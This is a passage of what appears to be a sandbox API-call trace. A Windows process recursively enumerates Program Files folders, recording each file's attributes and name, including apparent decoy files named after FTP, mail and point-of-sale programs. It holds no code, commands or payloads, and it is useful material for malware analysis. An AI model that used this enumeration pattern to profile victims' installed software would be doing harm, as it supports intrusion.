ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77192e80, ftCreationTime.dwHighDateTime=0x1d58465, ftLastAccessTime.dwLowDateTime=0x32fb1aa0, ftLastAccessTime.dwHighDateTime=0x1d54ab9, ftLastWriteTime.dwLowDateTime=0x32fb1aa0, ftLastWriteTime.dwHighDateTime=0x1d54ab9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77192e80, ftCreationTime.dwHighDateTime=0x1d58465, ftLastAccessTime.dwLowDateTime=0x32fb1aa0, ftLastAccessTime.dwHighDateTime=0x1d54ab9, ftLastWriteTime.dwLowDateTime=0x32fb1aa0, ftLastWriteTime.dwHighDateTime=0x1d54ab9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0029.690] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0029.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa234be0, ftCreationTime.dwHighDateTime=0x1d594e0, ftLastAccessTime.dwLowDateTime=0xf1f91a30, ftLastAccessTime.dwHighDateTime=0x1d5493b, ftLastWriteTime.dwLowDateTime=0xf1f91a30, ftLastWriteTime.dwHighDateTime=0x1d5493b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0029.691] FindClose (in: hFindFile=0x718698 | out: hFindFile=0x718698) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdab090, ftCreationTime.dwHighDateTime=0x1d5a6f0, ftLastAccessTime.dwLowDateTime=0x431e6e70, ftLastAccessTime.dwHighDateTime=0x1d5a232, ftLastWriteTime.dwLowDateTime=0x431e6e70, ftLastWriteTime.dwHighDateTime=0x1d5a232, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdab090, ftCreationTime.dwHighDateTime=0x1d5a6f0, ftLastAccessTime.dwLowDateTime=0x431e6e70, ftLastAccessTime.dwHighDateTime=0x1d5a232, ftLastWriteTime.dwLowDateTime=0x431e6e70, ftLastWriteTime.dwHighDateTime=0x1d5a232, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0029.691] FindClose (in: hFindFile=0x718658 | out: hFindFile=0x718658) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0029.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf39e4000, ftCreationTime.dwHighDateTime=0x1d53e09, ftLastAccessTime.dwLowDateTime=0x8cf1bd80, ftLastAccessTime.dwHighDateTime=0x1d59103, ftLastWriteTime.dwLowDateTime=0x8cf1bd80, ftLastWriteTime.dwHighDateTime=0x1d59103, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="heater.exe", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df0bf00, ftCreationTime.dwHighDateTime=0x1d5b45f, ftLastAccessTime.dwLowDateTime=0x8241a680, ftLastAccessTime.dwHighDateTime=0x1d5b286, ftLastWriteTime.dwLowDateTime=0x8241a680, ftLastWriteTime.dwHighDateTime=0x1d5b286, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0029.692] FindClose (in: hFindFile=0x718658 | out: hFindFile=0x718658) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0678890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0678890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0678890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0678890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0029.692] FindClose (in: hFindFile=0x70e3e8 | out: hFindFile=0x70e3e8) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0029.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0029.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0029.692] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d567c0, ftCreationTime.dwHighDateTime=0x1d5c299, ftLastAccessTime.dwLowDateTime=0xbda0e3d0, ftLastAccessTime.dwHighDateTime=0x1d579bf, ftLastWriteTime.dwLowDateTime=0xbda0e3d0, ftLastWriteTime.dwHighDateTime=0x1d579bf, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="FOXMAI~1.EXE")) returned 1 [0029.693] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2631c0, ftCreationTime.dwHighDateTime=0x1d5ad81, ftLastAccessTime.dwLowDateTime=0x86eb0e80, ftLastAccessTime.dwHighDateTime=0x1d57576, ftLastWriteTime.dwLowDateTime=0x86eb0e80, ftLastWriteTime.dwHighDateTime=0x1d57576, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0029.693] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0029.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7186d8 [0029.693] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, 